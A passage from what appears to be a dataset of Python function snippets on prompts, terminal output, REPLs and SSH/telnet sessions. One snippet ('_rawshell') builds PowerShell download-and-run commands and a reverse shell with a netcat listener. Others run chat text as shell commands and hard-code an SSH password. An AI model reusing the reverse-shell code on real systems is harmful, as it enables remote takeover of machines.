strip_prompt(self, a_string):\\n output = super().strip_prompt(a_string)\\n lines = output.split(self.RESPONSE_RETURN)\\n if \\\"Done\\\" in lines[-1]:\\n return self.RESPONSE_RETURN.join(lines[:-1])\\n else:\\n return output\",\n \"def print_response(prompt, response, sep=' '):\\n print(bold(prompt), end=sep)\\n print(response)\",\n \"def _dumb_prompt(self, message: AnyFormattedText = \\\"\\\") -> Iterator[Application[_T]]:\\n # Send prompt to output.\\n self.output.write(fragment_list_to_text(to_formatted_text(self.message)))\\n self.output.flush()\\n\\n # Key bindings for the dumb prompt: mostly the same as the full prompt.\\n key_bindings: KeyBindingsBase = self._create_prompt_bindings()\\n if self.key_bindings:\\n key_bindings = merge_key_bindings([self.key_bindings, key_bindings])\\n\\n # Create and run application.\\n application = cast(\\n Application[_T],\\n Application(\\n input=self.input,\\n output=DummyOutput(),\\n layout=self.layout,\\n key_bindings=key_bindings,\\n ),\\n )\\n\\n def on_text_changed(_: object) -> None:\\n self.output.write(self.default_buffer.document.text_before_cursor[-1:])\\n self.output.flush()\\n\\n self.default_buffer.on_text_changed += on_text_changed\\n\\n try:\\n yield application\\n finally:\\n # Render line ending.\\n self.output.write(\\\"\\\\r\\\\n\\\")\\n self.output.flush()\\n\\n self.default_buffer.on_text_changed -= on_text_changed\",\n \"def say(output='', reprompt_text='', title='', should_end_session=True):\\n if reprompt_text == '':\\n reprompt_text = output\\n\\n return {\\n 'version': '1.0',\\n 'sessionAttributes': session_attributes,\\n 'response': {\\n 'outputSpeech': {\\n 'type': 'PlainText',\\n 'text': output\\n },\\n 'card': {\\n 'type': 'Simple',\\n 'title': title,\\n 'content': output\\n },\\n 'reprompt': {\\n 'outputSpeech': {\\n 'type': 'PlainText',\\n 'text': reprompt_text\\n }\\n },\\n 'shouldEndSession': should_end_session\\n }\\n }\",\n \"def prompt(self, console: io.IO, step: str,\\n args: Dict[str, Any]) -> Dict[str, Any]:\\n pass\",\n \"def prompt(self, console: io.IO, step: str,\\n args: Dict[str, Any]) -> Dict[str, Any]:\\n pass\",\n \"def pseudo_raw_input(self, prompt):\\n\\n if self.use_rawinput:\\n try:\\n line = sm.input(prompt)\\n except EOFError:\\n line = 'EOF'\\n else:\\n self.stdout.write(prompt)\\n self.stdout.flush()\\n line = self.stdin.readline()\\n if not len(line):\\n line = 'EOF'\\n else:\\n if line[-1] == '\\\\n': # this was always true in Cmd\\n line = line[:-1]\\n return line\",\n \"def test_unknown(self):\\n msg = \\\"*** Unknown syntax: asd\\\\n\\\"\\n with patch('sys.stdout', new=StringIO()) as f:\\n HBNBCommand().onecmd(\\\"asd\\\")\\n st = f.getvalue()\\n self.assertEqual(msg, st)\",\n \"def test_strip_prompt():\\n string = \\\"\\\"\\\"MyRouter version 1.25.9\\nmyhostname>\\\"\\\"\\\"\\n connection = FakeBaseConnection(RESPONSE_RETURN=\\\"\\\\n\\\", base_prompt=\\\"myhostname>\\\")\\n result = connection.strip_prompt(string)\\n assert result == \\\"MyRouter version 1.25.9\\\"\",\n \"async def terminal(event):\\r\\n command = utils.raw(event.message)\\r\\n await event.edit(f\\\"**Running command:**\\\\n`{command}`\\\")\\r\\n result = subprocess.getoutput(command)\\r\\n await event.edit(f\\\"**Running command:**\\\\n`{command}`\\\\n**Result:**\\\\n`{result}`\\\")\",\n \"def showPrompt(self):\\r\\n self.terminal.nextLine()\\r\\n self.terminal.write(self.ps[self.pn])\",\n \"def response(self, data, response_type = \\\"terminal\\\"):\\n if (response_type == \\\"terminal\\\"):\\n print(data, end=\\\"\\\\n\\\")\",\n \"def __alt_prompt(self, prompt_text: str):\\r\\n if self.__use_windows_prompt:\\r\\n sys.stdout.write(prompt_text)\\r\\n sys.stdout.flush()\\r\\n i = sys.stdin.readline()\\r\\n return i.strip()\\r\\n return input(prompt_text)\",\n \"def test_single_dialog_prompt_extra_line(monkeypatch, capsys):\\n monkeypatch.setattr(\\\"sys.stdin\\\", io.StringIO(\\\"value\\\" + \\\"\\\\n\\\"))\\n _dialog_prompt(\\n parameter=DialogParameter(\\\"Title\\\", comment=\\\"Comment\\\"),\\n )\\n captured = capsys.readouterr()\\n assert captured.out.count(\\\"\\\\n\\\") == 2\",\n \"def lets_get_punny():\\n \\n text = '\\\\033[35;1m' # text color\\n background = '\\\\033[30;1;45m'\\n \\n chat = True\\n while chat:\\n\\n # Get a message from the user\\n msg = input(background + 'You say \\\\U0001F4AC:\\\\t')\\n out_msg = None\\n \\n #Checks if input has question mark\\n question = is_question(msg)\\n defined_question = how_question(msg)\\n \\n # Checks if input has exclamation point\\n exclamation = is_screaming(msg)\\n\\n # Prepare the input message\\n msg = prepare_text(msg)\\n\\n # Check for an end msg = \\n if end_chat(msg):\\n out_msg = '¡Adiós! \\\\U0001F44B'\\n print(out_msg)\\n break\\n \\n # all my message outputs here \\n if not out_msg:\\n \\n outs = []\\n \\n outs.append(selector(msg, GREETING_IN, GREETING_OUT)) # Greetings\\n \\n outs.append(selector(msg, QUESTION_GREETING_IN, QUESTION_GREETING_OUT))\\n \\n outs.append(selector(msg, JOKE_REQUEST_IN, JOKE_REQUEST_OUT)) # Responses for certain questions\\n outs.append(selector(msg, NO_JOKE_IN, NO_JOKE_OUT))\\n outs.append(selector(msg, NO_JOKE_REPLY_IN, NO_JOKE_REPLY_OUT))\\n \\n outs.append(selector(msg, YES_JOKE_IN, YES_JOKE_OUT))\\n outs.append(selector(msg, YES_JOKE_REPLY_IN, JOKE_REPLY_OUT))\\n \\n # How jokes get responses works\\n msg_str = ' '.join(msg)\\n msg_str = msg_str.lower()\\n \\n if msg_str in JOKE_REPLY_IN_2:\\n name = find_in_list(msg, JOKE_REPLY_IN_2)\\n outs.append(joke_reply_2(msg))\\n \\n outs.append(respond_echo(selector(msg, LAUGH_IN, LAUGH_OUT), 1, \\\"\\\\U0001F923 \\\"))\\n \\n options = list(filter(None, outs))\\n \\n if options:\\n out_msg = random.choice(options)\\n \\n if not out_msg and exclamation: \\n out_msg = random.choice(SCREAMING)\\n \\n if not out_msg and question:\\n out_msg = text + random.choice(UNKNOWN_QUESTION)\\n\\n # Catch-all to say something if msg not caught & processed so far\\n if not out_msg:\\n out_msg = random.choice(UNKNOWN)\\n\\n print(text + 'JokeBot \\\\U0001F47E:\\\\t', out_msg + '\\\\n')\",\n \"def prompt(self, task, text='', print_=False):\\n template = self.prompts[task]['prompt']\\n res = self.format_prompt(task, template, text)\\n if print_:\\n print(res)\\n else:\\n return res\",\n \"def test_sanitize_output():\\n\\n output = \\\"\\\"\\\"\\nshow cdp neighbors\\nCapability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge\\n S - Switch, H - Host, I - IGMP, r - Repeater, P - Phone,\\n D - Remote, C - CVTA, M - Two-port Mac Relay\\n\\nDevice ID Local Intrfce Holdtme Capability Platform Port ID\\n\\nTotal cdp entries displayed : 0\\ncisco3#\\\"\\\"\\\"\\n output = output.lstrip()\\n\\n expected = \\\"\\\"\\\"\\nCapability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge\\n S - Switch, H - Host, I - IGMP, r - Repeater, P - Phone,\\n D - Remote, C - CVTA, M - Two-port Mac Relay\\n\\nDevice ID Local Intrfce Holdtme Capability Platform Port ID\\n\\nTotal cdp entries displayed : 0\\\"\\\"\\\"\\n expected = expected.lstrip()\\n\\n connection = FakeBaseConnection(\\n RESPONSE_RETURN=\\\"\\\\n\\\",\\n RETURN=\\\"\\\\n\\\",\\n ansi_escape_codes=False,\\n base_prompt=\\\"cisco3#\\\",\\n )\\n\\n result = connection._sanitize_output(\\n output,\\n strip_command=True,\\n command_string=\\\"show cdp neighbors\\\\n\\\",\\n strip_prompt=True,\\n )\\n assert result == expected\",\n \"def _prepare_state_prompts_without_proxy_pc(self):\\n hops_config = self._configurations[TextualDevice.connection_hops]\\n cfg_ux2adb = hops_config[UnixRemote.unix_remote][AdbRemote.adb_shell]\\n cfg_adb2adbroot = hops_config[AdbRemote.adb_shell][AdbRemote.adb_shell_root]\\n adb_shell_cmd_params = cfg_ux2adb[\\\"command_params\\\"]\\n adb_shell_prompt = self._get_adb_shell_prompt(adb_shell_cmd_params)\\n adb_shell_root_prompt = cfg_adb2adbroot[\\\"command_params\\\"][\\\"expected_prompt\\\"]\\n if adb_shell_root_prompt is None:\\n if adb_shell_prompt.endswith(\\\"$\\\"):\\n adb_shell_root_prompt = adb_shell_prompt[:-1] + \\\"#\\\"\\n else:\\n consequence = \\\"Won't be able to detect {} state\\\".format(AdbRemote.adb_shell_root)\\n fix = \\\"Please provide configuration with 'expected_prompt' for {} state\\\".format(AdbRemote.adb_shell_root)\\n self._log(logging.WARNING, \\\"Unknown prompt for {} state. {}. {}.\\\".format(AdbRemote.adb_shell_root,\\n consequence, fix))\\n adb_shell_root_prompt = \\\"Unknown_adb_root_prompt\\\"\\n\\n state_prompts = {\\n AdbRemote.adb_shell: adb_shell_prompt,\\n AdbRemote.adb_shell_root: adb_shell_root_prompt,\\n }\\n return state_prompts\",\n \"def output(self, response: str):\\n\\n # Try to output through the prefered medium, but revert to\\n # backup if need to and log any errors found, for example:\\n # logging.error(\\\"Problem!\\\")\\n\\n IO.stdout(response)\",\n \"def test_strip_no_prompt():\\n string = \\\"\\\"\\\"MyRouter version 1.25.9\\nadditional text\\\"\\\"\\\"\\n connection = FakeBaseConnection(RESPONSE_RETURN=\\\"\\\\n\\\", base_prompt=\\\"myhostname>\\\")\\n result = connection.strip_prompt(string)\\n assert result == string\",\n \"def get_help_response():\\n card_title = \\\"Welcome\\\"\\n speech_output = \\\"Please give a command for your painting lights.\\\"\\n\\n response = response_builders.build_response(session_attributes,\\n response_builders.build_speechlet_response(card_title,\\n speech_output, reprompt_text, should_end_session))\\n return response\",\n \"def enter_repl(self):\\n text_input = ''\\n while True:\\n text_input = input('>>')\\n if text_input == 'exit':\\n break\\n #An alias for querying an instrument error string\\n elif text_input == 'err?':\\n self.write_to_serial(':SYST:ERR?')\\n print(self.read_from_serial())\\n else:\\n self.write_to_serial(text_input)\\n print(self.read_from_serial())\",\n \"def prompt(self):\\n\\t\\twhile True:\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tif self.rf4ce_frame.frame_ciphered:\\n\\t\\t\\t\\t\\tciphered_status = \\\"ciphered\\\"\\n\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\tciphered_status = \\\"plain\\\"\\n\\t\\t\\t\\ta = hue.lightblue(\\\"{}\\\".format(self.rf4ce_frame.frame_counter))\\n\\t\\t\\t\\tb = hue.lightblue(\\\"0x{:02x}\\\".format(self.rf4ce_frame.profile_indentifier))\\n\\t\\t\\t\\tc = hue.lightblue(ciphered_status)\\n\\t\\t\\t\\tcmd = raw_input(\\\"({} - {} - {})>>> \\\".format(a, b, c))\\n\\t\\t\\texcept KeyboardInterrupt:\\n\\t\\t\\t\\traise StopIteration\\n\\n\\t\\t\\tif cmd.startswith(\\\"profile\\\"):\\n\\t\\t\\t\\ttry:\\n\\t\\t\\t\\t\\tyield InjectorCmd(InjectorCmd.PROFILE, cmd.split()[1])\\n\\t\\t\\t\\texcept:\\n\\t\\t\\t\\t\\tself.log(\\\"Malformed command\\\", hue.bad)\\n\\t\\t\\t\\t\\tcontinue\\n\\n\\t\\t\\telif cmd.startswith(\\\"counter\\\"):\\n\\t\\t\\t\\ttry:\\n\\t\\t\\t\\t\\tyield InjectorCmd(InjectorCmd.COUNTER, cmd.split()[1])\\n\\t\\t\\t\\texcept:\\n\\t\\t\\t\\t\\tself.log(\\\"Malformed command\\\", hue.bad)\\n\\t\\t\\t\\t\\tcontinue\\n\\n\\t\\t\\telif cmd.startswith(\\\"delay\\\"):\\n\\t\\t\\t\\ttry:\\n\\t\\t\\t\\t\\tyield InjectorCmd(InjectorCmd.DELAY, cmd.split()[1])\\n\\t\\t\\t\\texcept:\\n\\t\\t\\t\\t\\tself.log(\\\"Malformed command\\\", hue.bad)\\n\\t\\t\\t\\t\\tcontinue\\n\\n\\t\\t\\telif cmd.startswith(\\\"ciphered\\\"):\\n\\t\\t\\t\\ttry:\\n\\t\\t\\t\\t\\tyield InjectorCmd(InjectorCmd.CIPHERED, cmd.split()[1])\\n\\t\\t\\t\\texcept:\\n\\t\\t\\t\\t\\tself.log(\\\"Malformed command\\\", hue.bad)\\n\\t\\t\\t\\t\\tcontinue\\n\\n\\t\\t\\telif cmd.startswith(\\\"help\\\"):\\n\\t\\t\\t\\tyield InjectorCmd(InjectorCmd.HELP, None)\\n\\n\\t\\t\\telif cmd.startswith(\\\"exit\\\"):\\n\\t\\t\\t\\traise StopIteration\\n\\n\\t\\t\\telse:\\n\\t\\t\\t\\tfor packet in cmd.split():\\n\\t\\t\\t\\t\\ttry:\\n\\t\\t\\t\\t\\t\\tdata = binascii.unhexlify(packet)\\n\\t\\t\\t\\t\\texcept:\\n\\t\\t\\t\\t\\t\\tself.log(\\\"Malformed command\\\", hue.bad)\\n\\t\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t\\tyield InjectorCmd(InjectorCmd.PACKET, data)\",\n \"def issue(self, cmd):\\n self.send([cmd])\\n return self.read_until_prompt()[1:] # drop the echo\",\n \"def _execute(self, command):\\n \\\"\\\"\\\"\\n Confirm the command was correctly echoed back and then ask for\\n its return code\\n \\\"\\\"\\\"\\n self.telnet_client.write((command + \\\"\\\\r\\\\n\\\").encode())\\n resp = self.telnet_client.read_until((command + \\\"\\\\r\\\\n\\\").encode())\\n while True:\\n resp = self.telnet_client.read_until(self.prompt.encode())\\n if resp is not None:\\n break\\n\\n stdout = resp.decode()\\n stderr = \\\"\\\"\\n self.telnet_client.write(\\\"echo $?\\\\r\\\\n\\\".encode())\\n _, match, _ = self.telnet_client.expect([re.compile(br'(\\\\d+)')],\\n TelnetControl.TELNET_TIMEOUT)\\n exit_code = int(match.group(1).decode())\\n\\n if exit_code != 0:\\n stderr = resp.decode()\\n return exit_code, stdout, stderr\",\n \"def response_training_prompt(self):\\n self._last_response = \\\"training_prompt\\\"\\n print(\\\"Training Prompt\\\")\\n self.user_stats.set_followup(self._last_worst_grip)\\n return Mglove_str_gen.training_prompt(self.user_stats.get_followup())\",\n \"def recv_to_prompt(self):\\n buf = \\\"\\\"\\n while True:\\n ibuf = self._channel.recv(65536)\\n buf += ibuf\\n if ibuf.endswith(\\\"$ \\\") or ibuf.endswith(\\\"# \\\"):\\n break\\n\\n lbuf = buf.splitlines()\\n return lbuf[1:-1]\",\n \"def result_stdout(result):\\n return result[1][0]\",\n \"def nyanword(message):\\n try:\\n print(c.clear)\\n while True: \\n print(c.rc() + \\\"Hello\\\" + c.rc() + \\\" \\\" + who + \\\"!\\\", end=\\\" \\\")\\n except KeyboardInterrupt:\\n exit()\",\n \"def test_prompt_msg_confirm_blank_default_no(self):\\n with mock.patch('__builtin__.raw_input', return_value=\\\"\\\") as mockinput:\\n result = self.prompt._prompt(self.response, {\\n \\\"say\\\": \\\"Continue\\\",\\n \\\"ask\\\": \\\"result\\\",\\n \\\"confirm\\\": False\\n })\\n\\n args, kwargs = mockinput.call_args\\n\\n self.assertEquals(\\\"Continue [yN]? \\\", args[0])\\n self.assertEquals(result['ansible_facts']['result'], False)\",\n \"def test_sanitize_nothing():\\n\\n output = \\\"\\\"\\\"\\nshow cdp neighbors\\nCapability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge\\n S - Switch, H - Host, I - IGMP, r - Repeater, P - Phone,\\n D - Remote, C - CVTA, M - Two-port Mac Relay\\n\\nDevice ID Local Intrfce Holdtme Capability Platform Port ID\\n\\nTotal cdp entries displayed : 0\\ncisco3#\\\"\\\"\\\"\\n\\n connection = FakeBaseConnection(\\n RESPONSE_RETURN=\\\"\\\\n\\\",\\n RETURN=\\\"\\\\n\\\",\\n ansi_escape_codes=False,\\n base_prompt=\\\"cisco3#\\\",\\n )\\n\\n result = connection._sanitize_output(\\n output,\\n strip_command=False,\\n command_string=\\\"show cdp neighbors\\\\n\\\",\\n strip_prompt=False,\\n )\\n assert result == output\",\n \"def invalid_command(response): # string -> interaction\\r\\n print(\\\"Sorry; '\\\" + response + \\\"' isn't a valid command. Please try again.\\\")\",\n \"def stdout(self, stdout: str) -> Tuple[List[Message], List[AnnotateCode], str]:\\n return [], [], stdout\",\n \"def cmd(self, command):\\n self.enode.get_shell('bash').send_command(command, matches=self.scapy_prompt)\\n response = self.enode.get_shell('bash').get_response()\\n return response\",\n \"def enter_raw_repl(self):\\n\\n debug_indent(\\\"enter_raw_repl\\\")\\n\\n time.sleep(0.5) # allow some time for board to reset\\n debug(r'self.con.write \\\"\\\\r\\\\x03\\\\x03\\\" (Ctrl-C twice)')\\n self.con.write(b\\\"\\\\r\\\\x03\\\\x03\\\") # ctrl-C twice: interrupt any running program\\n\\n # flush input (without relying on serial.flushInput())\\n n = self.con.inWaiting()\\n while n > 0:\\n self.con.read(n)\\n n = self.con.inWaiting()\\n\\n if self.con.survives_soft_reset():\\n debug(r'self.con.write \\\"\\\\r\\\\x01\\\" (enter raw REPL)')\\n self.con.write(b\\\"\\\\r\\\\x01\\\") # ctrl-A: enter raw REPL\\n data = self.read_until(1, b\\\"raw REPL; CTRL-B to exit\\\\r\\\\n>\\\", timeout=10)\\n\\n if not data.endswith(b\\\"raw REPL; CTRL-B to exit\\\\r\\\\n>\\\"):\\n print(data)\\n debug_unindent()\\n raise PyboardError(\\\"could not enter raw repl 1\\\")\\n\\n debug(r'self.con.write \\\"\\\\x04\\\" (soft reset)')\\n self.con.write(b\\\"\\\\x04\\\") # ctrl-D: soft reset\\n data = self.read_until(1, b\\\"soft reboot\\\\r\\\\n\\\", timeout=10)\\n if not data.endswith(b\\\"soft reboot\\\\r\\\\n\\\"):\\n print(data)\\n debug_unindent()\\n raise PyboardError(\\\"could not enter raw repl 2\\\")\\n\\n # By splitting this into 2 reads, it allows boot.py to print stuff,\\n # which will show up after the soft reboot and before the raw REPL.\\n data = self.read_until(1, b\\\"raw REPL; CTRL-B to exit\\\\r\\\\n\\\", timeout=10)\\n if not data.endswith(b\\\"raw REPL; CTRL-B to exit\\\\r\\\\n\\\"):\\n print(data)\\n debug_unindent()\\n raise PyboardError(\\\"could not enter raw repl 3\\\")\\n\\n else:\\n\\n debug(r'self.con.write \\\"\\\\r\\\\x01\\\" (enter raw REPL)')\\n self.con.write(b\\\"\\\\r\\\\x01\\\") # ctrl-A: enter raw REPL\\n data = self.read_until(0, b\\\"raw REPL; CTRL-B to exit\\\\r\\\\n\\\", timeout=10)\\n\\n if not data.endswith(b\\\"raw REPL; CTRL-B to exit\\\\r\\\\n\\\"):\\n print(data)\\n debug_unindent()\\n raise PyboardError(\\\"could not enter raw repl 4\\\")\\n debug_unindent()\",\n \"def interactive(self, handle_message=None, context=None):\\n if context is None:\\n context = {}\\n\\n history = InMemoryHistory()\\n while True:\\n try:\\n message = prompt(INTERACTIVE_PROMPT, history=history, mouse_support=True).rstrip()\\n except (KeyboardInterrupt, EOFError):\\n return\\n if handle_message is None:\\n print(self.message(message, context))\\n else:\\n print(handle_message(self.message(message, context)))\",\n \"def _postConnect(self):\\n p = self.spawnProc\\n msg = \\\"SessionManager._postConnect: failed to get prompt\\\"\\n expList.append(self.prompt)\\n match = p.expect(expList, self.sshTimeout)\\n self._postCheck(match,msg,True)\",\n \"def get_switch_details_from_console(self):\\n ret_output = {}\\n #Get the console port\\n console = self.telnet_console_port()\\n console.sendline('terminal length 0')\\n console.expect(SWITCH_PROMPT)\\n console.sendline('show inventory | xml')\\n console.expect(SWITCH_PROMPT)\\n if any(i in console.before for i in INVALID_CLI): raise InvalidCliError('show cmd failure') \\n ret_output['inv'] = console.before\\n console.sendline('show system uptime | xml')\\n console.expect(SWITCH_PROMPT)\\n if any(i in console.before for i in INVALID_CLI): raise InvalidCliError('show cmd failure') \\n ret_output['uptime'] = console.before\\n console.sendline('show accounting log | grep \\\"configure\\\" | last 1')\\n console.expect(SWITCH_PROMPT,120)\\n if any(i in console.before for i in INVALID_CLI): raise InvalidCliError('show cmd failure') \\n ret_output['idletime'] = console.before\\n console.sendline('terminal length 15')\\n console.expect(SWITCH_PROMPT)\\n console.sendline('show clock | last 1')\\n console.expect(SWITCH_PROMPT)\\n if any(i in console.before for i in INVALID_CLI): raise InvalidCliError('show cmd failure') \\n ret_output['clock'] = console.before\\n console.close()\\n return ret_output\",\n \"def read_stdout(self, dt):\\n\\n self.temp_stdout += self.temp_output\\n self.ids[\\\"txt_code_output\\\"].text = self.temp_output\",\n \"def get_output(self):\\n\\n num, in_text = self.get_input()\\n\\n if not in_text:\\n self.current_prompt.freeze(in_text=\\\"\\\", show_output=False)\\n # Makes the prompt un-editable.\\n self.current_prompt = self.iogrid.add_prompt(number=-1)\\n else:\\n output = self.execute_query(num, in_text)\\n self.current_prompt.freeze(in_text=in_text, output=output)\\n self.current_prompt = self.iogrid.add_prompt()\",\n \"def test_unkown_command(self):\\n with patch('sys.stdout', new=StringIO()) as f:\\n HBNBCommand().onecmd(\\\"something\\\")\\n self.assertEqual(f.getvalue().strip(),\\n \\\"*** Unknown syntax: something\\\")\",\n \"def Prompt(self):\\n self.cli.context_was_set = not self.cli.config.context\\n doc = self.cli.run()\\n return doc.text if doc else None\",\n \"def ask(self):\\n subprocess.run([\\\"say\\\", \\\"-v\\\", \\\"Kyoko\\\", str(self.answer)])\",\n \"def hook() -> None:\\n real_recv = process.recv_raw\\n\\n def recv(self: process, numb: int) -> bytes:\\n data = real_recv(self, numb)\\n # Sometimes the returned data is of type str\\n # Accept them by converting them to bytes\\n if type(data) == str:\\n data = data.encode()\\n try:\\n stdout_all = self.stdout_all\\n except Exception: # pylint: disable=broad-except\\n stdout_all = b\\\"\\\"\\n stdout_all += data\\n self.stdout_all = stdout_all\\n return data\\n\\n process.recv_raw = recv\",\n \"def unexpected_response():\\n return say(UNEXPECTED_ANSWER_SPEECH)\",\n \"def prompt():\\n sys.stdout.write('>> ')\\n sys.stdout.flush()\",\n \"def response_ssml_text_and_prompt(output, endsession, reprompt_text):\\n\\n return {\\n 'outputSpeech': {\\n 'type': 'SSML',\\n 'ssml': \\\"<speak>\\\" +output +\\\"</speak>\\\" \\n },\\n 'reprompt': {\\n 'outputSpeech': {\\n 'type': 'SSML',\\n 'ssml': \\\"<speak>\\\" +reprompt_text +\\\"</speak>\\\"\\n }\\n },\\n 'shouldEndSession': endsession\\n }\",\n \"def head_plain():\\n print (hair_buzz())\\n print (eye_narrow())\\n print (nose_triangle())\\n print (mouth_smile())\\n print (chin_plain())\",\n \"def _sendAndTrim(self, command, delim=None):\\n assertTimeout = int (globalVar.assertTimeout)\\n p = self.spawnProc\\n p.sendline(command)\\n a=p.readline()\\n #print a\\n\\tif (not delim):\\n\\t prompt = self.prompt\\n\\telse:\\n\\t prompt = delim\\n\\n expList.append(prompt) \\n \\n result = p.expect(expList,assertTimeout)\\n\\n if (result != 2) :\\n self._postCheck(result)\\n # at this point, we have the output but also the command and\\n # part of the prompt. get rid of the prompt chunk.\\n if (not delim):\\n\\t promptChunk = self.promptChunk\\n\\telse:\\n\\t promptChunk = delim\\n\\n output = re.sub(promptChunk, '', p.before)\\n output = re.sub(command+'\\\\r\\\\n', '', output)\\n return output\",\n \"def input(self, prompt):\\r\\n return console_input(prompt)\",\n \"def test_prompt_msg_postfix_custom(self):\\n with mock.patch('__builtin__.raw_input', return_value=\\\"\\\") as mockinput:\\n result = self.prompt._prompt(self.response, {\\n \\\"say\\\": \\\"First Name\\\",\\n \\\"ask\\\": \\\"first_name\\\",\\n \\\"default\\\": \\\"foobar\\\",\\n \\\"postfix\\\": \\\"!?!?\\\"\\n })\\n\\n args, kwargs = mockinput.call_args\\n\\n self.assertEquals(\\\"First Name [foobar]!?!? \\\", args[0])\\n self.assertEquals(result['ansible_facts']['first_name'], 'foobar')\",\n \"def exit_raw_repl(self):\\n debug(r'self.con.write \\\"\\\\r\\\\x02\\\" (ctrl-B: enter friendly REPL)')\\n self.con.write(b\\\"\\\\r\\\\x02\\\") # ctrl-B: enter friendly REPL\",\n \"def _postConnect(self):\\n\\n #timeout = 5\\n p = self.spawnProc\\n list = [self.prompt,\\\"ssh:\\\", \\\"[Pp]assword: \\\", \\\"\\\\? \\\", \\n\\n\\t \\\"@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\\\", \\n pexpect.EOF,pexpect.TIMEOUT]\\n \\n match = p.expect(list,self.sshTimeout )\\n #prompt\\n if (match == list.index(self.prompt)) : \\n # got a prompt, want to save the prompt chunk so we can use\\n # it later to trim command output. do this by sending a\\n # \\\\r and cultivating the bare prompt.\\n p.sendline(\\\"\\\")\\n p.expect(self.prompt)\\n self._extractPChunk(p.before)\\n\\t # ssh error message\\n elif (match == list.index(\\\"ssh:\\\")): \\n # TODO: send the ssh error text in the exception\\n msg = \\\"Error occured while executing ssh command \\\"\\n raise SessionManagerException,msg\\n\\t # passwd prompt\\n elif match == 2: \\n \\n\\t msg = \\\"ssh command got 'Password:' prompt,\\\"\\n p.sendline(\\\"shipped!!\\\")\\n\\t try:\\n p.expect(self.prompt,self.sshTimeout)\\n self._extractPChunk(p.before)\\n\\t except pexpect.TIMEOUT:\\n print msg\\n raise SessionManagerException,msg\\n # connect confirmation prompt\\n elif match == 3: \\n p.sendline(\\\"yes\\\")\\n p.expect(list[2])\\n p.sendline(\\\"shipped!!\\\")\\n\\t try:\\n p.expect(self.prompt,self.sshTimeout)\\n self._extractPChunk(p.before)\\n\\t except pexpect.TIMEOUT:\\n msg = \\\"ssh login confirmation problem\\\"\\n msg = msg + \\\" Key exchange not successful \\\"\\n\\t\\tprint msg\\n raise SessionManagerException,msg\\n\\n self._extractPChunk(p.before)\\n\\t\\n # Remote host identification change \\n elif match == 4: \\n msg = \\\"Remote host identification change: check ~/.ssh/known_hosts file\\\"\\n raise SessionManagerException, msg\\n # Unexpected Prompt while trying to connect \\n elif match == 5: \\n msg = \\\"ssh got unexpected prompt, did not establish connection\\\"\\n raise SessionManagerException, msg\\n \\n # Timeout Error \\n elif (match == list.index(pexpect.TIMEOUT)):\\n msg = 'ssh to %s timed out' % self.args\\n raise SessionManagerException, msg\",\n \"def test_prompt_msg_confirm_blank_default_yes(self):\\n with mock.patch('__builtin__.raw_input', return_value=\\\"\\\") as mockinput:\\n result = self.prompt._prompt(self.response, {\\n \\\"say\\\": \\\"Continue\\\",\\n \\\"ask\\\": \\\"result\\\",\\n \\\"confirm\\\": True\\n })\\n\\n args, kwargs = mockinput.call_args\\n\\n self.assertEquals(\\\"Continue [Yn]? \\\", args[0])\\n self.assertEquals(result['ansible_facts']['result'], True)\",\n \"def _rawshell(args):\\n rows, cols = util.term_rows_cols()\\n file = Config.V0_POWERSHELL_CONPTY()\\n # Random port for temporary serv\\n port = util.randport()\\n psurl = httpserv.powershell_serv(args.address, str(port), file)\\n pscmd = f\\\"IEX({psurl}); Invoke-ConPtyShell -RemoteIp {args.address} -RemotePort {args.port} -Rows {rows} -Cols {cols}\\\"\\n remote_commands = [\\n f\\\"powershell -nop -c {pscmd}\\\",\\n f\\\"powershell -nop -e {powershell_base64_encode(pscmd)}\\\",\\n ]\\n lcmd = f\\\"stty raw -echo; (stty size; cat) | nc -lvnp {args.port}\\\"\\n _print_remote(remote_commands)\\n _print_local(lcmd)\\n # small delay to allow the above stuff to finish before the raw terminal\\n # makes stuff look wonky\\n time.sleep(2)\\n os.system(lcmd)\\n # Reset the tty\\n os.system(\\\"stty sane\\\")\",\n \"def test_prompt_msg_defaults(self):\\n with mock.patch('__builtin__.raw_input', return_value=\\\"\\\") as mockinput:\\n result = self.prompt._prompt(self.response, {\\n \\\"say\\\": \\\"First Name\\\",\\n \\\"ask\\\": \\\"first_name\\\",\\n \\\"default\\\": \\\"foobar\\\"\\n })\\n\\n args, kwargs = mockinput.call_args\\n\\n self.assertEquals(\\\"First Name [foobar]? \\\", args[0])\\n self.assertEquals(result['ansible_facts']['first_name'], 'foobar')\",\n \"def put_prompt(self, session):\\n self.reply_text(session, self._prompt, False)\",\n \"def do_prompt(self, line):\\n self.prompt = line + ': '\",\n \"def suicide_reply():\\n return random.choice(SUICIDE_RESPONSE)\",\n \"def print_message_nicely(message):\\n print (\\\"\\\\n\\\\r\\\" + \\\"*\\\"*10 + \\\"\\\\n\\\" +\\n \\\"\\\\rsender: \\\" + message[\\\"handle\\\"] + \\\"\\\\n\\\" +\\n \\\"\\\\rmessage: \\\" + message[\\\"text\\\"] + \\\"\\\\n\\\\r\\\" +\\n \\\"*\\\"*10 + \\\"\\\\n\\\")\",\n \"def build_speechlet_response(title, output, reprompt_text, should_end_session):\\n return {\\n 'outputSpeech': {\\n 'type': 'PlainText',\\n 'text': output\\n },\\n 'card': {\\n 'type': 'Simple',\\n 'title': CardTitlePrefix + \\\" - \\\" + title,\\n 'content': output\\n },\\n 'reprompt': {\\n 'outputSpeech': {\\n 'type': 'PlainText',\\n 'text': reprompt_text\\n }\\n },\\n 'shouldEndSession': should_end_session\\n }\",\n \"async def _wait_response(self, cmd, prompt_re):\\n self.logger.debug(\\\"Waiting for prompt\\\")\\n resp = await self.wait_prompt(prompt_re)\\n return resp\",\n \"def test_prompt_msg_shows_default(self):\\n with mock.patch('__builtin__.raw_input', return_value=\\\"Andrew\\\") as mockinput:\\n result = self.prompt._prompt(self.response, {\\n \\\"say\\\": \\\"First Name\\\",\\n \\\"ask\\\": \\\"first_name\\\",\\n \\\"default\\\": \\\"foobar\\\"\\n })\\n\\n args, kwargs = mockinput.call_args\\n\\n self.assertEquals(\\\"First Name [foobar]? \\\", args[0])\\n self.assertEquals(result['ansible_facts']['first_name'], 'Andrew')\",\n \"def prompt(self):\\r\\n prompt_css = 